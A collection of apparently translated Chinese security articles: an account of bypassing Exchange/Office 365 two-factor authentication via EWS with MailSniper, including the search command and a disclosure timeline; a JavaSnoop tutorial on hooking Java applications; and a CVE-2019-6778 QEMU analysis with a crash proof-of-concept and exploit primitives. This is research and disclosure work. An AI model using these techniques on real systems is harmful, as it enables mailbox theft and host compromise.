Landers的[对于Hacker，Outlook和Exchange可以做什么](https://www.youtube.com/watch?v=cVhc9VOK5MY)的演讲。这是一个超级棒的演讲，并且我推荐你去听一下。在他的演讲中，Nick收到一个观众的提问：双因子验证（2FA）是否就可以防止黑客攻击？Nick由此讲述了一个非常有趣的观点，他说：“我曾经看到过某些公司在OWA（Outlook网页版）上关闭了双因子验证，所以在OWA上面登录的时候，你必须提供一个令牌。但是这样就有被攻击的危险：因为双因子验证实际并没有起到应有的作用。
所以我猜想如果EWS没有使用双因子验证，那么利用它，使用MailSniper就有可能读取到用户的邮件，完全绕过双因子安全验证。
我来验证这个想法，我设置了网页登录OWA，并且安装了DUO security公司的双因子验证软件–Duo for
Outlook。我在手机上设置了DUO的移动应用，并且登录OWA使用测试用户账户"[email protected]"。
在使用我的手机同步了DUO之后，如果我登录账户认证，我的手机就可以收到的确认通知。这一步完成之后，如果我是黑客，同时没有手机同步DUO软件的双因子验证，在登录OWA之后我就不可能有其他进展了。
在此之前，MailSniper只有在设置了主机域名之后才可以工作。我修改了部分代码，添加了"-Remote"选项，这样Invoke-Selfsearch函数就可以远程工作。另外还需要修改才可以获取收件箱。首先，需要确定公司使用的外部邮箱服务器。一般情况来说，可以使用Autodiscover搜索，或者爆破子域名比如：mail.domain.com,owa.domain.com,webmail.domain.com等。邮箱服务器需要使用'-ExechHostname'参数来指定。如果这个参数没有指定，Invoke-selfSearch就会自动尝试获取邮箱服务器。其次，用户的密码凭证需要先收集起来。更多需要注意的地方可以看这篇博客。
一旦Exchange服务器和用户的密码凭证收集之后，下面的命令可以用来在网络上寻找邮箱。
Invoke-SelfSearch -Mailbox [email protected] -ExchHostname mail.domain.com -Remote
上面的命令运行之后，授权凭证窗口就会出现，要求输入目标用户的登陆凭证。这里是输入内部邮箱地址还是输入域帐号取决于该组织的设定。
在用户凭证输入之后，MailSniper会尝试连接EWS的这个URL：https://mail.domain.com/EWS/Exchange.asmx。并且在用户的收件箱搜索相关关键词内容（默认是密码,凭证,证书）。
我使用这种方法在设置了DUO双因子验证的账户上尝试攻击。MailSniper可以成功绕过双因子验证并且搜索到相关邮件。
为了更深入证明这个不是DUO双因子验证的问题，BHIS公司设置了Office365并且利用微软自己的工具Azure Multi-Factor
Autoentication(MFA)来保护用户从Office365登录到Outlook邮箱。
演示如下：我首先在网页端登录到测试用户的Office 365账户。
在输入了正确的账户密码之后，微软的MFA验证是必须的。在这种情况下，我让他给我的手机发送一条短信验证码。
在MFA确认了验证码之后，测试用户账户可以查看Outlook.Office.com上面的收件箱。
使用先前描述的方法使用EWS绕过双因子验证仍然有效。在MailSniper验证了outlook.office365.com密码之后，攻击者仍然可以绕过双因子验证来读取用户的收件箱。
**演示视频**
**建议**
我想最简单的解决方法就是废掉Exchange Web Services, 但这也会毁掉很多东西。比如，Mac上的Outlook只能通过Exchange
Web
Service连接到Exchange，这种情况废掉EWS可能不是一个好办法。任何客户端APP利用EWS也是这样的情况。所以，短期来讲，限定OWA只能从内网访问，同时允许用户VPN访问。对于某个用户帐户或整个团体手动限定EWS是可能的。但是，要记得任何使用app的用户，通过EWS连接到Exchange的可能会连接失败。
**结论**
总之，Outlook网页登录的双因子认证对于微软的Exchange来说，完全覆盖使用到其他认证协议是有点困难。在这篇文章中，已经证明了EWS服务并没有被双因子验证所保护。并且只需要知道用户的登录凭证就可以读取到用户的收件箱。Exchange的其他服务，比如使用HTTP传输的MAPI，或者自动扫描发现。我再次测试了第三方的双因子登录验证软件和微软的AWS，并且我猜想其他也会存在相同的问题。
**漏洞发布时间表**
2016.9.28 东部时间下午1:51 –通过[email protected]，向微软报告了此漏洞。
2016.9.28 东部时间下午10:01 – 收到微软回复，他们已将此问题反馈给相关人员分析。
“ 你好，
非常感谢您及时通知MSRC，我已将您的报告反馈给相关人员分析，会及时向您回复分析结果。
谢谢！
MSRC
2016.10.3 东部时间上午11:15 – 发邮件询问进展
2016.10.3 东部时间下午7:41 – 收到回复，他们已经开始审理此问题。
“非常感谢您的报告。
我已建立了案例35494，REDACTED是负责人，如有问题，您可以联系他。
同时，我们希望您能遵守我们的漏洞公布指引，不要将此漏洞向公众公布，直到用户可以保护他们的信息为止。
您可以在<http://www.microsoft.com/technet/security/bulletin/policy.mspx>浏览我们的公告确认政策，在<http://www.microsoft.com/security/msrc/default.mspx>查看我们的一般法律法规。
如果您在任何时间有任何问题或进一步的信息，请回复邮件。
谢谢
MSRC
2016.10.11 东部时间上午8:55 –发邮件询问进展
2016.10.11 东部时间下午 4:07 – 收到回复，正在等待产品团队审核。
“您好：
我们还在等待产品团队审核，如果有进一步的信息，我会及时通知您。
谢谢
MSRC
2016.10.21 东部时间下午3:37 –发邮件询问进展
2016.10.24 东部时间下午4:46 – 收到回复无进展
“您好：
现在还没有任何进展，如果有进一步的信息，我会及时通知您。
谢谢
MSRC
2016.11.2 – 在Black Hills 信息安全处，公开此漏洞。 | 社区文章 |
# 【技术分享】使用JavaSnoop测试Java应用程序
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/hacking-java-applications-using-javasnoop/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译： **[兄弟要碟吗](http://bobao.360.cn/member/contribute?uid=2874729223)**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
我们都知道Burp，Paros，WebInspect等工具可以拦截基于Web的应用的流量，也可以自动化对Web应用进行安全检测。然而胖客户端也有这种需求，我们没有自动化的工具可以用来对胖客户端应用程序进行自动化的安全检测。
目前针对.EXE应用程序流量的拦截和编辑软件已经有很多了，在本篇文章当中我们将讨论一个可以用于评估JAVA应用程序安全性的工具。
我们来看一下目前想要对JAVA胖客户端程序进行安全测试的各种方法以及各自的优缺点。
**方法1：拦截编辑流量**
应用程序需要使用HTTP进行通讯。
应用程序有配置代理的设置。
应用程序不使用加密、自定义协议或序列化对象。
如果满足上述的所有条件，我们可以使用Burp等代理工具来捕获并且修改通讯的流量进行安全检测。
**方法2：修改和攻击客户端**
可以识别的JAR文件
反编译
审计源代码
可以修改源代码并且重新编译客户端已用来发送自定义的攻击
在反编译class文件时通常会发现反编译后的源代码有多个编译错误，这些错误通常由反编译器本身的错误导致，这表明反编译与重新编译的过程在实践当中并不能100%确定成功。这种方法的缺点是流程复杂、繁琐、因为一些编译错误而浪费大量的时间来调试修改代码。
使用上面的两种方法对JAVA胖客户端应用程序进行安全测试时且少灵活性，并且有一定条件限制，很有可能出现两种方法都无法完成的情况。Aspect
Security开发了一款名为JavaSnoop的工具来解决这些问题。
**JavaSnoop简介**
**JavaSnoop工具提供以下功能**
允许在JVM中轻松拦截任何方法
允许编辑返回值和参数
允许将自定义的Java代码插入到任何方法中
能够处理任何类型的Java应用程序(J2SE，Applet或JavaWeb应用)
能够处理已经运行的Java进程
不需要任何目标的源代码(原始的源代码或者反编译过后的)
JavaSnoop的这些功能使得我们可以对任何基于Java的应用程序进行安全测试。
**JavaSnoop的工作原理**
Java 6.0+包含了Attach API功能，可以对正在运行的或者要运行的JVM进行无缝的监控和修改，Attach
API不是Java的标准API，而是Sun公司提供的一套扩展API，用来向目标JVM"附着"(Attach)代理工具程序的。JavaSnoop可以使用Attach
API和Instrumentation类（有助于在运行时修改JVM）跳转到机器上的另一个JVM，并在该系统上的类方法中安装各种“钩子”。这些钩子然后被代理用于与GUI通信，允许JavaSnoop用户“拦截”JVM内的调用。
JavaSnoop使用的钩子技术可以执行以下操作：
1.编辑方法参数
2.编辑方法返回值
3.暂停方法
4.在方法开始时执行用户提供的脚本
5.在方法结束时执行用户提供的脚本
6.将参数打印到控制台（或文件）
**安装JavaSnoop**
可以从以下URL下载JavaSnoop工具：
<https://www.aspectsecurity.com/research/appsec_tools/javasnoop/>
安装步骤：
**步骤1：**
从以下URL安装JDK 1.6：
<http://www.oracle.com/technetwork/java/javase/downloads/jdk6downloads-1902814.html>
**步骤2：**
设置JAVA_HOME环境变量，步骤如下：
开始>我的电脑>属性>高级系统设置>高级>环境变量。设置一个新的用户变量
java_home：路径指向JDK 1.6的文件夹，如下图所示：
**步骤3：**
Applet和Java Web
Start应用程序默认配置运行在严格的沙箱中。显然内部类和私有域的修改通常是不被允许的。这意味着我们必须将安全性“关闭”。JavaSoop中提供的startup.bat文件实现了这个需求，我们需要使用startup.bat来运行JavaSnoop。
该批处理文件将实现以下功能：
1.检查环境变量JAVA_HOME的值是否包含JDK1.6的路径
2.关闭JavaSnoop的安全性
3.启动JavaSnoop工具
4.退出工具后，再次将Java安全性恢复为安全浏览
将JavaSnoop注入到进程中：
JavaSnoop工具提供了两种注入进程的方式。
**1.现有进程：**
我们可以通过从可用的正在运行的进程列表中选择一个已经运行的进程来注入JavaSnoop.
**2\. 创建一个新的进程**
我们也可以通过选择要拦截的JAR文件来启动一个新进程。
**JavaSnoop工具界面的功能**
JavaSnoop工具的主界面分为四部分，如下图所示:
**第一部分**
在这部分中，我们选择需要hook的类或方法。界面提供了一个按钮来添加一个新的hook。然后我们可以从列表中提供的类里添加一个方法，如下图所示：
**第二部分**
本部分提供了用于设置截取方法调用的各种选项的功能。 我们可以设置正则表达式条件来匹配和拦截来方法调用的内容。如下图所示：
**第三部分**
这一部分针对Hook提供了各种选项提供了以下各种选项：
将parameters / stacktrace打印到控制台或特定文件
运行自定义脚本
篡改参数
修改返回值
暂停程序
**第四部分**
来自目标应用程序的Hook修改内容和反编译类的输出显示在此区域中。
使用JavaSnoop拦截来自基于JAVA的应用程序的数据
在本文中，我们将介绍两个基于Java的示例应用程序，并学习如何拦截JavaSnoop工具中的数据：
1.拦截浏览器中运行的applet的数据。
2.拦截基于JAVA的胖客户端 应用程序的数据。
**1.拦截浏览器中运行的applet的流量**
Java小程序是以Java字节码的形式传递给用户的小程序。Java小程序可以是Web页面的一部分，并且由Java虚拟机(JVM)在与Web浏览器分开的过程中执行，也可以在Sun的AppletViewer中运行,AppletViewer是用于测试applet小程序的独立工具。
很难拦截作为网页一部分的applet小程序的数据。普通代理工具（如Burp和Paros）无法拦截/修改来自这些applet程序的流量。下面我们演示一个使用JavaSnoop工具来拦截applet小程序的例子。
**步骤1：** 我们将一个登录小程序嵌入到Web浏览器中，小程序接收用户登录的数据并将其转发到服务器进行身份验证。 为了拦截来自Java
Applet的流量，我们使用JavaSnoop来拦截流量。
下面的图片展示了实例applet小程序：
**步骤2：** 由于我们已经在浏览器中打开了Java applet，因此我们在JavaSnoop工具中选择“An existing
process”选项，将代理程序附加到运行的applet小程序中，如下图所示：
**步骤3：** 通过JavaSnoop连接到运行的小程序，然后我们可以选择想要拦截数据的类和相应的方法。我们来选择hook的方法所需的类，如下图：
**步骤4：** 我们然后选择类的方法，如下图所示：
**步骤5：** 下面的屏幕截图显示了包含hook方法的JavaSnoop接口以及拦截Java applet数据的方法和条件。
**步骤6：** 一旦我们在“登录”小程序上提交用户登录数据，该工具将进行拦截，并且会弹出一个窗口，用于编辑和转发拦截的数据。
**2.拦截基于JAVA的胖客户端 应用程序的数据**
在上面的部分中，我们学会了拦截Java applet小程序的数据，下面我们学习拦截Jar应用程序的流量。例如，我们尝试拦截Burp代理工具的数据。
由于JavaSnoop可以篡改应用程序的数据跟流量，因此找出正确Hook的类跟方法成为评估的难点。通过代码审计的方式了解程序的逻辑结构再好不过了，但是在没有拿到源码的情况下，很难正确的hook相关的方法。
我们可以选择我们怀疑有可能是需要Hook的类跟方法，可以通过名称或类进行搜索，并且可以使用JavaSnoop的"Canary
Mode"模式。这种模式在较大的应用中非常有用，因为较大的应用中需要hook的类跟方法查找起来比较困难。我们可以通过在JavaSnoop工具中拦截Burp来了解Canary
Mode模式。
下面的图片显示了加载到JavaSnoop工具中的大量Burp的类。我们很难从里面识别用于Hook的类和方法。
即使在搜索和猜测之后，面对大量的类也很难找到hook的方法。攻击者可能会对数据进入的UI界面感兴趣，我们可以通过跟踪UI界面传递过来的数据来确定需要hook的方法。
通过跟踪数据来定位需要hook的方法是Canary
Mode模式的目的，这是JavaSnoop独特而有用的功能。在此模式下，我们可以定义要通过系统跟踪的一些“canary”值。这应该是通过表单域或者属性文件进入应用程序的一些独特的标识。
选择此值后，即可开始。然后JavaSnoop将删除当前正在使用的其他钩子，然后将监听JVM中每个参数为我们设定的canary值的所有方法。
每次发现canary被发送到一个方法时会将一个chirp发送回JavaSnoop，让用户知道正在运行canary值的方法。在某种程度上，这相当于一种非常原始，笨拙的数据流分析形式。
测试的方法步骤如下：
1.将JavaSnoop代理注入Burp进程
2.在JavaSnoop工具中打开Canary模式界面
3.在输入字段中输入要搜索的字符串
4.从界面启动canary模式
5.从Google浏览器向Burp发送请求，JavaSnoop工具将开始查找传递输入字符串(例如Google.com)的方法列表，然后我们可以勾选这些方法进行测试，如下图所示：
在本文中，我们看到了在评估基于Java的胖客户端 应用程序时可能面临的缺点，并且还看到了如何使用JavaSnoop工具来克服这些困难。 | 社区文章 |
**作者：raycp**
**原文来自安全客：<https://www.anquanke.com/post/id/197639>**
## 漏洞描述
`qemu-kvm`默认使用的是`-net nic -net user`的参数，提供了一种用户模式（user-mode）的网络模拟。使用用户模式的网络的客户机可以连通宿主机及外部的网络。用户模式网络是完全由QEMU自身实现的，不依赖于其他的工具（bridge-utils、dnsmasq、iptables等），而且不需要root用户权限。QEMU使用Slirp实现了一整套TCP/IP协议栈，并且使用这个协议栈实现了一套虚拟的NAT网络。SLiRP模块主要模拟了网络应用层协议，其中包括IP协议（v4和v6）、DHCP协议、ARP协议等。
cve-2019-6778这个漏洞存在于QEMU的网络模块SLiRP中。该模块中的`tcp_emu()`函数对端口113( _Identification
protocol_ )的数据进行处理时，没有进行有效的数据验证，导致堆溢出。经过构造，可实现以QEMU进程权限执行任意代码。
## 漏洞复现
首先是安装环境，根据[官方](https://github.com/Kira-cxy/qemu-vm-escape)描述，漏洞版本是`3.1.50`，但是我在git中没有找到这个版本，于是使用的是`3.1.0`，使用下面的命令编译qemu。
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v3.1.0
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make
编译出来qemu的路径为`./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64`，查看版本：
$ ./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 -version
QEMU emulator version 3.1.0 (v3.1.0-dirty)
Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers
接下来就是编译内核与文件系统，可以参考上一篇的`cve-2015-5165`漏洞分析的文章。
因为漏洞需要在user模式下启动虚拟机，因此使用以下的命令启动qemu虚拟机：
$ cat launch.sh
#!/bin/sh
./qemu-system-x86_64 \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/sda rw" \
-hda ./rootfs.img \
-enable-kvm -m 2G -nographic \
-L ./pc-bios -smp 1 \
-net user,hostfwd=tcp::2222-:22 -net nic
漏洞需要在user模式下启动虚拟机，启动虚拟机后虚拟机的ip为`10.0.2.15`，宿主机ip为`10.0.2.2`。虽然在主机中`ifconfig`看不到该ip，但确实是可以连通的。可以从qemu虚拟机中ping主机，无法从主机ping虚拟机。
poc代码如下，将其编译好并拷贝至虚拟机中：
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main() {
int s, ret;
struct sockaddr_in ip_addr;
char buf[0x500];
s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
ip_addr.sin_port = htons(113); // vulnerable port
ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
memset(buf, 'A', 0x500);
while (1) {
write(s, buf, 0x500);
}
return 0;
}
然后在宿主机中`sudo nc -lvnp 113`端口，在虚拟机中运行poc，即可看到qemu虚拟机崩溃，成功复现漏洞。
## 漏洞分析
根据作者[writeup](https://github.com/Kira-cxy/qemu-vm-escape/blob/master/writeup_zh.md)，将断点下在`tcp_emu`，可以看到调用栈如下：
? f 0 5583e153e5ae tcp_emu+28
f 1 5583e153aa5a tcp_input+3189
f 2 5583e1531765 ip_input+710
f 3 5583e1534cb6 slirp_input+412
f 4 5583e151ceea net_slirp_receive+83
f 5 5583e15128c4 nc_sendv_compat+254
f 6 5583e1512986 qemu_deliver_packet_iov+172
f 7 5583e151553f qemu_net_queue_deliver_iov+80
f 8 5583e15156ae qemu_net_queue_send_iov+134
f 9 5583e1512acb qemu_sendv_packet_async+289
f 10 5583e1512af8 qemu_sendv_packet+43
结合源码调试，该函数在`slirp/tcp_subr.c`中：
int
tcp_emu(struct socket *so, struct mbuf *m)
{
...
switch(so->so_emu) {
int x, i;
case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/
{
...
struct sbuf *so_rcv = &so->so_rcv;
memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
...
so_rcv->sb_cc = snprintf(so_rcv->sb_data,
so_rcv->sb_datalen,
"%d,%d\r\n", n1, n2);
so_rcv->sb_rptr = so_rcv->sb_data;
so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
}
m_free(m);
return 0;
}
可以看到程序会先将`m->data`中的数据拷贝至`so_rcv->sb_wptr`。`m`的定义为`struct
mbuf`，`so_rcv`的定义为`struct
sbuf`。`mbuf`是用来保存`ip`传输层的数据，`sbuf`结构体则保存`tcp`网络层的数据，定义如下：
struct mbuf {
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */
int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;
caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */
Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};
struct sbuf {
uint32_t sb_cc; /* actual chars in buffer */
uint32_t sb_datalen; /* Length of data */
char *sb_wptr; /* write pointer. points to where the next
* bytes should be written in the sbuf */
char *sb_rptr; /* read pointer. points to where the next
* byte should be read from the sbuf */
char *sb_data; /* Actual data */
};
结合结构体的分析知道了，程序将`m->data`中的数据拷贝至`so_rcv->sb_wptr`，但是由于字符串中没有`\r`或`\n`，导致没有将`sb_cc`赋值，形成了buffer空间变小，而数值却没有变化的情形。
查看`tcp_enu`的调用函数`tcp_input`函数，代码在`slirp/tcp_input.c`中：
else if (ti->ti_ack == tp->snd_una &&
tcpfrag_list_empty(tp) &&
ti->ti_len <= sbspace(&so->so_rcv)) {
...
/*
* Add data to socket buffer.
*/
if (so->so_emu) {
if (tcp_emu(so,m)) sbappend(so, m);
`ti`为`tcpiphdr`结构体，其定义以及`sbspace`定义如下：
struct tcpiphdr {
struct mbuf_ptr ih_mbuf; /* backpointer to mbuf */
union {
struct {
struct in_addr ih_src; /* source internet address */
struct in_addr ih_dst; /* destination internet address */
uint8_t ih_x1; /* (unused) */
uint8_t ih_pr; /* protocol */
} ti_i4;
struct {
struct in6_addr ih_src;
struct in6_addr ih_dst;
uint8_t ih_x1;
uint8_t ih_nh;
} ti_i6;
} ti;
uint16_t ti_x0;
uint16_t ti_len; /* protocol length */
struct tcphdr ti_t; /* tcp header */
};
#define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)
可以看到当为`EMU_IDENT`协议时，会不停的往`so_rcv->sb_wptr`中拷贝数据，并将指针后移，但是却没有对长度进行增加。当不停的发送该协议数据时，会导致堆溢出。
下面动态调试进行进一步验证。
b /home/raycp/work/qemu_escape/qemu/slirp/tcp_subr.c:638`将断点下在`memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
第一次拷贝前`so_rcv`数据以及`m`数据为：
pwndbg> print *so_rcv
$1 = {
sb_cc = 0x0,
sb_datalen = 0x2238,
sb_wptr = 0x7f46001d4d30 "0\a",
sb_rptr = 0x7f46001d4d30 "0\a",
sb_data = 0x7f46001d4d30 "0\a"
}
pwndbg> print *m
$2 = {
m_next = 0x7f46001a6800,
m_prev = 0x55dd677c6c78,
m_nextpkt = 0x0,
m_prevpkt = 0x0,
m_flags = 0x4,
m_size = 0x608,
m_so = 0x7f46001b1630,
m_data = 0x55dd67fd04b4 'A' <repeats 200 times>...,
m_len = 0x500,
slirp = 0x55dd677c6bd0,
resolution_requested = 0x0,
expiration_date = 0xffffffffffffffff,
m_ext = 0x0,
m_dat = 0x55dd67fd0460 ""
}
拷贝结束，`sb_wptr`等指针都往后移动了（`sb_data`是大小为`0x2240`的堆块），但是`sb_cc`却没有变化：
pwndbg> print *so_rcv
$3 = {
sb_cc = 0x0,
sb_datalen = 0x2238,
sb_wptr = 0x7f46001d5230 "",
sb_rptr = 0x7f46001d5230 "",
sb_data = 0x7f46001d4d30 'A' <repeats 200 times>...
}
pwndbg> vmmap 0x7f46001d4d30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7f4600000000 0x7f46007b1000 rw-p 7b1000 0
pwndbg> x/6gx 0x7f46001d4d30-0x10
0x7f46001d4d20: 0x0000000000000000 0x0000000000002245
0x7f46001d4d30: 0x4141414141414141 0x4141414141414141
0x7f46001d4d40: 0x4141414141414141 0x4141414141414141
多发送几次将会造成溢出，导致崩溃，漏洞分析结束。
## 漏洞利用
程序保护机制基本上全都开了：
pwndbg> checksec
[*] '/home/raycp/work/qemu_escape/created/qemu-system-x86_64'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
要想实现任意代码执行，首先需要信息泄露得到程序基址等信息；然后需要利用堆溢出控制程序执行流程。整个漏洞利用包含四个部分需要进行解析：
* malloc原语。
* 任意地址写。
* 信息泄露。
* 控制程序执行流程。
### malloc原语
因为漏洞是堆溢出，而qemu中堆的排布复杂，因此需要找到一个`malloc`的方式，将堆内存清空，使得堆的申请都是从`top
chunk`中分配，这样堆的排布就是可控和预测的了。可以利用`IP`分片在`slirp`中的实现来构造malloc原语。
在TCP/IP分层中，数据链路层用MTU（Maximum Transmission
Unit，最大传输单元）来限制所能传输的数据包大小。当发送的IP数据报的大小超过了MTU时，IP层就需要对数据进行分片，否则数据将无法发送成功。
IP数据报文格式如下所示，其中`Flags`与`Fragment Offset`字段用于满足这一需求：
* Zero (1 bit)，为0，不使用。
* Do not fragment flag (1 bit)，表示这个packet是否为分片的。
* More fragments following flag (1 bit)，表示这是后续还有没有包，即此包是否为分片序列中的最后一
* Fragmentation offset (13 bits)，表示此包数据在重组时的偏移。
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
去看ip切片在该模块中的相应实现，源码如下：
void
ip_input(struct mbuf *m)
{
...
/*
* If offset or IP_MF are set, must reassemble.
* Otherwise, nothing need be done.
* (We could look in the reassembly queue to see
* if the packet was previously fragmented,
* but it's not worth the time; just let them time out.)
*
* XXX This should fail, don't fragment yet
*/
if (ip->ip_off &~ IP_DF) {
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF)
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;
ip->ip_off <<= 3;
/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
...
}
static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
...
/*
* If first fragment to arrive, create a reassembly queue.
*/
if (fp == NULL) {
struct mbuf *t = m_get(slirp)
}
...
}
#define SLIRP_MSIZE\
(offsetof(struct mbuf, m_dat) + IF_MAXLINKHDR + TCPIPHDR_DELTA + IF_MTU)
struct mbuf *
m_get(Slirp *slirp)
{
register struct mbuf *m;
int flags = 0;
DEBUG_CALL("m_get");
if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
m = g_malloc(SLIRP_MSIZE);
...
}
可以看到在`ip_input`函数中，当`ip->ip_off`没有`IP_DF`标志位时（表示被切片），会在当前的链表中寻找之前是否已经存在相应数据包，如果没有找到则会将`fp`置为`null`，否则则为相应的数据包的链表。接着调用`ip_reass`，当fp为`null`时，表明它是相应数据流的第一个切片数据包，会调用`m_get`函数为其分配一个`struct
mbuf`，大小size为`SLIRP_MSIZE`（0x668)，所以最终分配出来的堆块大小为0x670并将其一直挂在链表队列中。
pwndbg> print m
$5 = (struct mbuf *) 0x55b61423f5e0
pwndbg> x/6gx 0x55b61423f5e0
0x55b61423f5e0: 0x00007f17d9bec190 0x00007f17d9bec190
0x55b61423f5f0: 0x000055b61423f5d0 0x000055b61423f5d0
0x55b61423f600: 0x0000000000000000 0x0000000000000000
pwndbg> x/6gx 0x55b61423f5e0-0x10
0x55b61423f5d0: 0x000b000b000b000b 0x0000000000000671
0x55b61423f5e0: 0x00007f17d9bec190 0x00007f17d9bec190
0x55b61423f5f0: 0x000055b61423f5d0 0x000055b61423f5d0
因此我们可以构造数据包，使其`ip->ip_off`没有`IP_DF`标志位，则可以申请出来`0x670`大小的堆块，实现了malloc原语的构造。
### 任意地址写
可以利用堆溢出构造出任意地址写的功能，以为泄露地址与控制程序执行流服务。
任意地址写的构造主要是基于堆溢出，以及`ip_reass`这个函数，关键代码如下：
void
ip_input(struct mbuf *m)
{
...
/*
* If offset or IP_MF are set, must reassemble.
* Otherwise, nothing need be done.
* (We could look in the reassembly queue to see
* if the packet was previously fragmented,
* but it's not worth the time; just let them time out.)
*
* XXX This should fail, don't fragment yet
*/
if (ip->ip_off &~ IP_DF) {
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF)
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;
ip->ip_off <<= 3;
/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
...
}
static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
register struct mbuf *m = dtom(slirp, ip);
register struct ipasfrag *q;
int hlen = ip->ip_hl << 2;
int i, next;
...
/*
* Reassembly is complete; concatenate fragments.
*/
q = fp->frag_link.next;
m = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
while (q != (struct ipasfrag*)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
m_cat(m, t);
}
}
/*
* Copy data from one mbuf to the end of
* the other.. if result is too big for one mbuf, allocate
* an M_EXT data segment
*/
void
m_cat(struct mbuf *m, struct mbuf *n)
{
/*
* If there's no room, realloc
*/
if (M_FREEROOM(m) < n->m_len)
m_inc(m, m->m_len + n->m_len);
memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
m->m_len += n->m_len;
m_free(n);
}
可以看到在`ip_input`中，当数据包是最后一个切片数据包时（IP_MF不为1），会在`ip_reass`函数中调用`m_cat`将数据包组合起来。关键代码是`memcpy(m->m_data+m->m_len,
n->m_data,
n->m_len)`，如果我们可以利用堆溢出覆盖`m`结构体的`m_data`，则就可以实现将可控的数据`n->m_data`写到任意的地址`m->m_data+m->m_len`处。
